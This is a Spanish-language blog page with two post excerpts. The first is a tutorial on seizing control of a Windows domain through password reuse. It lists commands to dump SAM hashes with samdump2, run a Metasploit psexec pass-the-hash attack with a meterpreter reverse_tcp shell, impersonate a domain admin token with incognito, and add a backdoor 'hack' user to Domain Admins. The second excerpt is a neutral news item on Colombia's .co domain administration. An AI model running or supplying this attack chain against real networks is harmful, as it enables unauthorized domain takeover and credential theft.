¿Cómo tomar control de un Dominio en Windows?

Los “dominios” en windows, facilitan muchas de las tareas a la hora de administrar una red, ya que permite realizar una agrupación lógica de servidores de red y otros ordenadores, para compartir  información común sobre cuentas  y seguridad, pero es una practica muy común (aunque poco recomendada) que los administradores de estos dominios reutilicen la clave que usan para el usuario administrador de un equipo en los dominios de windows. En el siguiente video vamos a ver como  tomar el control de un dominio en windows, cuando se presenta el caso de Reutilización de contraseñas comentado anteriormente: REQUISITOS Tener acceso a una maquina miembro del dominio (para sacar el hash del usuario) Todos los usuarios “administrador” de las maquinas miembros del dominio tienen la misma clave Conocer la ip desde la que se loguea el administrador del dominio (puedes conseguirla de muchas formas, una de ellas es la ing. social) Una copia de BackTrack 4 Teniendo los requisitos listo, pasamos a realizar los pasos para tomar el control de un dominio en Windows: Como vemos, fácilmente hemos agregado un usuario administrador a la lista de “administradores de dominio” simplemente siguiendo estos pasos: mount /dev/sda1 /mnt/sda1 Montamos la particion de la maquina windows cd /mnt/sda1/WINDOWS/system32/config accedemos a la carpeta dodne se encuentra el archivo SAM samdump2 system SAM sacamos los hash de los usuarios en la maquina windows msfconsole ejecutamos el metasploit por consola use windows/smb/psexec utilizamos el psexec exploit -p windows/meterpreter/reverse_tcp -o utilizamos la shell meterpreter LHOST=192.168.1.160,LPORT=6789,RHOST=192.168.1.23,SMBUser=Administrator,SMBPass= 123…:5654… -j configuramos las opciones del exploit sessions -i 1 una vez aparezca exitoso el ataque lanzamos la sesión donde se encuentra use incognito utilizamos el modulo incognito de meterpreter list_tokens -u mostramos los tokens impersonate_token mydomain\\domainadmin tomamos las credenciales del administrador de dominio execute -f cmd.exe -i -t lanzamos la consola de windows net user hack MPass5678 /add /domain Agregamos el usuario “hack” con clave “MPass46782” al dominio net group “Domain Admins” hack /add /domain metemos el usuario hack al grupo de administradores de dominio Ya hemos tomado el control del dominio de windows Este ataque es compatible con  WinXP/Vista/Win7/Windows Server2k3/Windows Server 2k7 y muestra lo sensible que es reutilizar las contraseñas en nuestro sistema, sin importar que tan “complejas” sean. PD. en Securitytube.net existe un vídeo en el que realizan este mismo procedimiento un poco mas “a mano” pero que puede servirnos también en nuestro proceso de...

Leer Más

Ministerio de Colombia aprueba modelo para la administración de dominio.co

El Ministerio de Comunicaciones tomó la decisión sobre el modelo operativo que aplicará para la administración del dominio.co. Se mantendrá la política en cabeza del Ministerio y se tercerizará mediante un proceso de selección objetiva la administración. Las empresas que resulten seleccionadas, después del proceso licitatorio correspondiente, tendrán como responsabilidad administrar los registros existentes, mantener la base de datos maestra y permitir la publicación en Internet de los nuevos dominios. También se decidió que para preservar la transparencia de los usuarios, garantizando la continuidad de los registros existentes y siendo congruente con las directrices que sobre la materia se tienen a nivel nacional e internacional, el Ministerio creará un Consejo Asesor que tendrá por objeto asesorar en la fijación de las políticas necesarias para el desarrollo, promoción y fortalecimiento del nombre de dominio de Internet bajo el código de país correspondiente a Colombia .co. El Consejo Asesor estará integrado por los Ministerios de Comunicaciones, Industria y Comercio, y de Interior y Justicia, la Universidad de Los Andes, un delegado de los profesores universitarios y un empresario seleccionados por la Ministra de Comunicaciones. También se contratará una firma auditora para que realice el seguimiento y control de cada uno de los permisos de registro de dominio otorgados, de acuerdo con las políticas adoptadas. Según lo informó el Ministerio, se mantendrán los registros de segundo nivel (.com.co, .edu.co, gov.co, etc) y se examinará la posibilidad de otorgar registros de primer nivel (.co), que identifiquen a...

Leer Más

Siguenos!

O Puedes Subscribete

ANTES DE

SALIRTE ...

NO TE

ARREPENTIRÁS

!Gracias¡

NO OLVIDES NUESTRAS REDES SOCIALES